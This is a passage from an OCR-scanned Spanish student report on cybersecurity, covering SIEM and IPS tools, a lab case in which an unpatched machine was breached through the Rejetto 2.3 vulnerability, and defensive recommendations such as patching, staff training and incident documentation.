casos se puede tener o tomar las decisiones bajo la iniciativa de estar bien
documentado.

e El sistema proporciona un registro en el cual se puede hacer seguimiento a los
casos o0 eventos para su auditoria observando cémo se les dio solucion a ellos.

e La herramienta hace que sea mas amigable, simple la cumplir con las
reglamentaciones o estandares de la industria ya que cuenta con un formato de
reporte sencillo o estandar.

[}

Entre los SIEM que se encuentran en el mercado de uso privado o propietario, de

licencia pagada se puede encontrar algunos como, por ejemplo:

Empow

IBM QRadar SIEM
RSA enVision
Security MARS
AlienVault USM

Pero para este caso que no se tiene presupuesto ya que estas herramientas son
costosas también se encuentra en el mercado herramientas de licencia abierta
como lo es elasticsearch, logshast y kibana (ELK).
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7 DEFINA POR LO MENOS 3 HERRAMIENTAS DE CONTENCION DE
ATAQUES INFORMATICOS

Para hacer frente a las diferentes amenazas que se pueden encontrar todos los dias
las empresas, y para el caso que se esta tratando se necesita realizar ciertas tareas
o usar las siguientes herramientas que son de uso de licencia abierta, libre o de
manera gratuita.

Antivirus:
Firewall
Servidor proxy
VPN

Solo por nombrar algunas de las herramientas con las que se puede mitigar las
vulnerabilidades.

Aungue gue existen sistema de prevencion de intrusos (IPS) que son de licencia
paga, que nacen o eran conocidas como sistema de deteccion de intrusos (IDS),
gue eran un complemento a un firewall para las redes y estaban siempre en
ejecucion atentos a la deteccidén de ataques y entrar a responder al ataque y esto
se logra gracias a la inteligencia artificial (IA) que realiza el estudio o el monitoreo
de los comportamientos de los picos de la red y de la informacién o las horas de
trabajo.

Esto lo logran porque no solo estan basados en el monitoreo de actividades
sospechosas en la red ose direcciones ip o los puertos como lo realizan los firewalls
estos realizan su actividad realizando el control del acceso basados en el contenido
de los paquetes.

Lo que hace que IPS se diferencie de IDS es que realiza la proteccion de manera
proactiva y no reactiva como lo hace el IDS.

Dentro de los IPS de cddigo abierto esta Snort IPS, en su forma mas basica ya que
las reglas, si depende del tipo de consumidor que se pueden o no obtener de
manera gratuita o pagando por ellas.

Como se puede ver es un IPS por medio de software y aunque es uno de los
mejores, pero una buena practica nos indica que puede ser una herramienta que
trabaje de manera paralela a la red para no generar un cuello de botella.

Como se trata de que el IPS sea una herramienta que haga su trabajo pero que no
afecte el rendimiento de la red se puede escoger que tipo de IPS es el que mas se
adapta a las necesidades de la empresa por eso se debe de analizar muy bien cual
es el mas favorable
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Y entre ellos se encuentran los que se menciona a continuacion ya que todos estan

bajo los mismos estandares de calidad.

e Basadas en firmas, como su nombre lo indica que trabaja buscando sobre una
base de firmas conocidas para tomas las decisiones sobre ataque conocidos.

e Basado en anomalias: el sistema realiza un monitorea sobre el comportamiento
de la red y al verificar una anomalia en su comportamiento lo que hace es que
bloquea el acceso al pc de destino.

e Basado en politicas: eso depende de la empresa y sus politicas de seguridad,
como de su infraestructura lo que con lleva a una programacion o configuracion
especifica para su red que no sobre pase sus politicas de seguridad que si se
trata de salir de sus lineamientos envia una alerta al administrador para que
realice la accion.

Uno de ellos es el firewall NGFW que es de Ultima generacion promete que cumplira
con esos requerimientos del mercado.

En el mercado se puede encontrar mas IPS como o empresas que ofrecen sus

servicios profesionales como i4conAnalytics que es basado en software que se
instala en el firewall en donde la lista IPS se actualiza cada 15 minutos.
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CONCLUSIONES

Se analizo las diferentes leyes que en este momento estan rigiendo en Colombia
desde el aflo 2009 y para esto se realiz0 la instalacion de un ambiente virtual para
mas adelante realizar las practicas que nos soliciten y no incurrir en ninguna falta
grave de la ley.

Analizando las leyes y los decretos se evidencia la importancia de hacer saber esta
ley a los usuarios, para que sea un des motivante al realizar este tipo de actividades
gue se salen de la ley y que ya son penalizados.

Para realizar este tipo de practicas es importante el realizarlo en ambientes
controlados y no realizar actos ilicitos, es muy importante para los profesionales el
conocer estas herramientas y bases de datos de exploit o los repositorios en donde
la informacién nos puede ayudar a estar al dia con las amenazas que van utilizando
los ciberdelincuentes.

A lo largo de esta actividad se pudo evidenciar la importancia de la buena
comunicacién entre el &rea de sistemas, el area de la alta gerencia, duefos de las
empresas que solicitan el estudio de un grupo de red team ya que aunque se estén
muy preocupados por las consecuencias de los actos vistos 0 que se presumen por
muy mal que este el panorama o la situacion se debe establecer canales de
comunicacién claros y asertivos con la partes anteriormente citadas, ya que si se
encuentran hallazgos de fuga de informacion se debe tomar con la mayor altura la
situacion.

Respetando los procesos, tramites, tiempos para llegar a tomar las evidencias del
caso esto se debe aclarar a las partes relacionadas con el caso, ya que esto por lo
general con lleva tiempo esfuerzo y dinero, y muchas veces los resultados no son
muy alentadores.

Para este caso en especial se evidencia que se realizé una fuga de informacién a
través de una maquina que fue atacada y vulnerada a través de la conocida
vulnerabilidad rejetto 2.3, que en su momento realizo mucho dafio, por diferentes
factores que los analizamos con anterioridad dando una falla de, seguridad,
integridad, en la informacion que se pudo a ver evitado, realizando uso de las
mejores practicas en cuanto a la configuraciéon de la maquina.

Porque la maquina estaba sin seguridad alguna como se evidencio en el ejercicio
donde la maquina no tiene ningun antivirus, firewall instalados, lo que es una falla
de seguridad alta, no tiene instaladas las actualizaciones del respectivo sistema
operativo, lo que es también una falla de seguridad alta que se debe mitigar lo mas
pronto posible.
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El ataque se realizd por una persona que tiene los conocimientos avanzados para
realizar este tipo de ataque, porque es necesario que tenga bastantes
conocimientos de los sistemas operativos a los cuales quiere afectar por mas que
es una vulnerabilidad ya conocida y documentada pero que en su momento no se
conocia de ella mucho y no se tenia idea de como solucionarla o mitigarla por eso
fue utilizada por la persona para realizar la filtracion de informacion.

Para que se solucione o se mitigue este tipo de casos o de vulnerabilidades es
preciso que se cuente con el personal idoneo y capacitado para hacer frente a este
tipo de situaciones, lo que con lleva a que el personal debe estar siempre
capacitandose y buscado donde estan los puntos débiles de la red de la empresa
para que se fortalezcan y no sea un tema recurrente, lo que significa que se debe
designar presupuesto para que se utilice en la red y en los computadores de la
empresa afectada.

Esto se debe a que se descuida la infraestructura de la empresa no solo en la parte
econdmica, sino en la parte de la responsabilidad de los empleados en ser el primer
anillo de seguridad en cuanto detectan un comportamiento extrafio en la red, como
en los correos entrantes y salientes de la empresa, lo que hace que se deba
responsabilizar a los usuarios en sus funciones que hagan un buen uso de los pc
de la empresa como de la informacién sensible si la manejan, por ello se debe de
capacitar al personal con frecuencia para que no pasen por alto este tipo de cosas,
evitando que se vuelva a repetir si es posible aunque este tema es un tema de todos
los dias ya que todos los dias salen nuevas y mejores vulnerabilidades que deben
ser mitigadas por el area correspondiente.
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RECOMENDACIONES

Es muy importante el realizar la documentacién de los ataques llegado el caso,
alimentando los diferentes programas o herramientas que disponga la empresa,
para que en una nueva oportunidad la base del conocimiento del ataque no se
pierda y sea mucho mas facil el responder a los mismos solo que su tiempo de
respuesta y mitigacion seran mucho mejor o si debido a la base del conocimiento
no se vuelve a presentar mucho mejor, que seré el deber ser de los objetivos del
area de seguridad informatica o de la informacion.

Es de vital importancia el estar verificando los informes de seguridad de las
autoridades correspondientes asi como sus nuevos reportes de seguridad, para
aprender de las nuevas vulnerabilidades, ataques, que suelen estar documentados
en sus informes y esa informacion la podemos aplicar de manera ética y legal para
nuestro beneficio o de la empresa en la que estemos trabajando para aplicarla en
la misma y con ello nos evitamos dolores de cabeza el dia de mafana cuando los
ataques lleguen ya se sabe como se puede evitar que se salga de control el mismo.

El ser proactivos frente a los ataques nos ayudara en el trabajo, en el hogar o en lo
personal porque la informacion es el activo que mas vale hoy en dia.

Aunque no se tenga presupuesto para las herramientas es muy importante el
aprender, a utilizar, configurar y administra las mismas que el mercado ofrece y que
existen muchas herramientas de cédigo abierto que nos pueden ayudar con el tema
de los ataques ya sea de manera proactiva, como reactiva, o0 de monitoreo.
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ANEXOS

Enlace de presentacién o sustentacion del informe final:
https://youtu.be/RQgrPDV8Z_4
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